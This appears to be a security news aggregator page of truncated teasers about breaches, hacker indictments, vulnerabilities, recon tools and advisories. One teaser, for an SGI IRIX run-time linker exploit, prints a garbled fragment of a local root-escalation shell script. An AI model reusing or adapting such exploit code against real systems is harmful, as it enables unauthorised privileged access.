Hackers steal source code of top anti-virus firms to sell online

By Ryan De Souza Fxsmsp Threat Group, "a credible hacking collective" is offering to sell source code of major anti-virus software for a whopping $300,000. The servers of three high-profile anti-virus firms have allegedly been compromised by a group of elite Russian hackers. The hacker group, kno...

U.S. Charges Chinese Hacker For 2015 Anthem Data Breach

The United States Justice Department today announced charges against a Chinese hacker and his hacking team member for their alleged role in the 2015 massive data breach at health insurance giant Anthem and three other unnamed American companies. Fujie Wang 王 福 杰 and another hacker named John Doe...

Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos

A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend – thanks to a pair of hackers that took aim at the cable network’s websites across 16 different regions. In the aftermath, entire Cartoon Network sites and video players hav...

HostHunter - A Recon Tool For Discovering Hostnames Using OSINT Techniques

A tool to efficiently discover and extract hostnames over a large set of target IP addresses. HostHunter utilises simple OSINT techniques. It generates a CSV file containing the results of the reconnaissance. Taking screenshots was also added as a beta functionality. Demo Currently GitLab's marku...

SGI IRIX <= 6.4.x Run-Time Linker Arbitrary File Creation Exploit

SGI IRIX versions 6.4.x and below run-time linker rld arbitrary file creation exploit. !/bin/sh SGI IRIX /etc/passwd" /tmp/.x.sh chmod 755 /tmp/.x.sh RLDARGS="-log /.cshrc |/tmp/.x.sh" /sbin/su last -3 root echo " waiting 5mins for root to login..." sleep 300 su - w00t 0day.today 2019-04-30...

This Week in Security News: Phishing Attacks and Ransomware

Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, learn about schemes used in phishing and other email-based attacks. Also, learn how ransomware continues to make a significant impact in the...

GHSA-C538-924G-99Q4 Session Fixation in Apache Zeppelin

Apache Zeppelin prior to 0.7.3 was vulnerable to session fixation which allowed an attacker to hijack a valid user session. Issue was reported by "stone lone"...

CVE-2019-3915

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Starbucks: SQL Injection Extracts Starbucks Enterprise Accounting, Financial, Payroll Database

As described in the Hacker Summary, @spaceraccoon discovered a SQL Injection vulnerability in a web service backed by Microsoft Dynamics AX. @spaceraccoon demonstrated that the flaw was exploitable via XML-formatted HTTP payload requests to the server. We appreciate @spaceraccoon's clear and...

Unhackable Cryptography?

A recent article overhyped the release of EverCrypt, a cryptography library created using formal methods to prove security against specific attacks. The Quanta magazine article sets off a series of "snake-oil" alarm bells. The author's Github README is more measured and accurate, and illustrates...

Unpatched Flaw in Xiaomi's Built-in Browser App Lets Hackers Spoof URLs

EXCLUSIVE — Beware, if you are using a Xiaomi's Mi or Redmi smartphone, you should immediately update its built-in MI browser or the Mint browser available on Google Play Store for non-Xiaomi Android devices. That's because both web browser apps created by Xiaomi are vulnerable to a critical...

Financial Apps are Ripe for Exploit via Reverse Engineering

A white hat hacker reverse engineered 30 mobile financial applications and found sensitive data buried in the underlying code of nearly all apps examined. With this information a hacker could, for example, recover application programming interface API keys and use them to attack the vendor’s...

Security for Connected Devices

With this post, I want to continue from earlier discussions on security posted here and here and focus on Connected Devices or the Internet of Things IoT. IoT typically represents a network of physical objects or “things” embedded with electronics, software, sensors, and connectivity to enable...

What Hacker History Can Tell Enterprises About Future Attack Strategy

There's an oft-quoted saying: "History repeats itself." For those that believe in the cyclical patterns that sometimes emerge over time, this aphorism definitely rings true. Today, we'll be applying this type of thinking to the cybercrime realm. Over the course of hacker history, numerous trends...

Beto O'Rourke Was Part of an Infamous '90s Hacker Group

The presidential candidate's first constituency was Cult of the Dead Cow...

Ad Network Sizmek Probes Account Breach

Online advertising firm Sizmek Inc. NASDAQ: SZMK says it is investigating a security incident in which a hacker was reselling access to a user account with the ability to modify ads and analytics for a number of big-name advertisers. In a recent posting to a Russian-language cybercrime forum, an...

robinbhandari FTP Remote Denial Of Service Exploit

Title: CVE-2019-9668 robinbhandari FTP remote DoS vulnerability Vulnerable: - https://github.com/rovinbhandari/FTP Description: robinbhandari is a open source tiny ftp server/client in github.com. it has a remote DoS vulnerability in a 'put' command. Timeline: 2019-03-11 CVE-2019-9668 robinbhanda...

Citrix Data Breach – Iranian Hackers Stole 6TB of Sensitive Data

Popular enterprise software company Citrix that provides services to the U.S. military, the FBI, many U.S. corporations, and various U.S. government agencies disclosed last weekend a massive data breach of its internal network by "international cyber criminals." Citrix said it was warned by the F...

Vulnerable smart alarms allowed hackers to track & turn off car engine

By Waqas By gaining access to the vehicles, hackers can not only locate them but also open their doors and even turn off the engine while the owner is driving. Two popular car alarm companies are facing problems with their products. Viper and Pandora are famous for their alarms that cost thousand...

BSides SF 2019: Remote-Root Bug in Logitech Harmony Hub Patched and Explained

SAN FRANCISCO – Users of Logitech’s Harmony Hub have been wide open to an attack for years because of four unpatched vulnerabilities that left any IoT device connected at risk to remote takeover. The bugs were patched by Logitech in November, but for the first time the researchers that discovered...